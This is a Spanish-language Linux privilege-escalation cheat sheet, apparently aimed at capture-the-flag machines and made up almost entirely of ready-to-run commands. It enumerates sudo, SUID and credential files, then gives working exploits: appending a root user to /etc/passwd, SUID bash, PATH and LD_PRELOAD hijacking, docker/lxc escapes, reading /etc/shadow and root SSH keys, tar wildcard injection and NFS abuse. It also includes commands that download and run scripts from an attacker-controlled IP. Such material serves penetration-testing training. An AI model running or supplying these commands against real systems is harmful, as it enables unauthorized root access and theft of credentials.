Escalada de privilegios en Linux
Ve de arriba abajo; la mayoría de máquinas fáciles y medias caen en las tres primeras secciones. Para explotar un binario concreto, mira la chuleta de binarios Linux.
Comprobaciones
Quién soy y dónde estoy
id; whoami; groups
uname -a; cat /etc/os-release
grep -E 'sh$' /etc/passwd
Sudo, SUID y capabilities
sudo -l
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
getcap -r / 2>/dev/null
cap_setuid, cap_dac_read_search o cap_sys_admin en un intérprete suelen ser root directo.
sudo -V | head -1
Tareas y procesos
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily 2>/dev/null
systemctl list-timers --all
ps -eo user,pid,cmd --forest | grep -v '\[' | grep ^root
wget http://10.10.14.5/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
old=$(ps -eo cmd); while true; do new=$(ps -eo cmd); diff <(echo "$old") <(echo "$new") | grep '^[<>]'; old=$new; sleep 1; done
Red y servicios internos
ss -tulnp | grep 127.0.0.1
for p in $(awk 'NR>1 && $4=="0A" {split($2,a,":"); print a[2]}' /proc/net/tcp | sort -u); do echo $((16#$p)); done
Lista los puertos en escucha. Para llegar a ellos desde tu máquina, mira la chuleta de pivoting.
Credenciales
grep -rniE '(pass(word)?|pwd|secret|token)\s*[=:]' /var/www /opt /etc /home 2>/dev/null | grep -v '^Binary'
find / \( -name '*.conf' -o -name '*.config' -o -name '.env' -o -name 'wp-config.php' -o -name '*.kdbx' \) -readable 2>/dev/null | grep -vE '^/(proc|sys|usr/share)'
cat ~/.*history 2>/dev/null; ls -la /home/*/
find / -name '*.db' -o -name '*.sqlite' 2>/dev/null | grep -vE '^/(proc|sys|usr)'
su root
Prueba cada contraseña que encuentres con root y con el resto de usuarios.
Permisos de escritura
find / -writable -type f 2>/dev/null | grep -vE '^/(proc|sys|dev|run|home|tmp|var/tmp)'
ls -l /etc/passwd /etc/shadow /etc/sudoers
Scripts automáticos
curl -L http://10.10.14.5/linpeas.sh | sh
Descárgalo de github.com/peass-ng/PEASS-ng y sírvelo con python3 -m http.server 80.
Explotación
Abusos rápidos
echo "pwn:$(openssl passwd -6 pwn123):0:0::/root:/bin/bash" >> /etc/passwd && su pwn
chmod u+s /bin/bash
bash -p
PATH hijacking
Cuando un script o binario de root llama a un comando sin ruta absoluta (ps en vez de /bin/ps).
strings /usr/local/bin/binario | grep -vE '^/'
echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /tmp/ps
chmod +x /tmp/ps
export PATH=/tmp:$PATH
Secuestro de librerías
echo 'import os; os.system("chmod u+s /bin/bash")' > /ruta/del/script/random.py
Si sudo ejecuta un script de Python que importa random y puedes escribir en su carpeta (o en una ruta de sys.path anterior).
cat > /tmp/x.c << 'FIN'
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
FIN
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so programa_permitido
Grupos privilegiados
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
lxc init alpine pwn -c security.privileged=true
lxc config device add pwn raiz disk source=/ path=/mnt/root recursive=true
lxc start pwn && lxc exec pwn /bin/sh
Necesitas una imagen de alpine importada (lxc image import) si la máquina no tiene internet.
debugfs /dev/sda1
Dentro de debugfs: cat /etc/shadow o cat /root/.ssh/id_rsa. Mira el disco con df -h.
grep -riE 'pass|login' /var/log 2>/dev/null
Comodines y enlaces simbólicos
echo 'chmod u+s /bin/bash' > x.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh x.sh'
ln -sf /root/.ssh/id_rsa /tmp/fichero_que_copia_root
NFS con no_root_squash
cat /etc/exports
sudo mount -t nfs VICTIMA:/compartido /mnt/nfs
sudo cp /bin/bash /mnt/nfs/ && sudo chmod u+s /mnt/nfs/bash
Luego, en la víctima: /compartido/bash -p. Copia un bash compatible con la versión de la víctima.
Kernel
ls -l /usr/bin/pkexec && pkexec --version
uname -r
./linux-exploit-suggester.sh
Ningún comando coincide.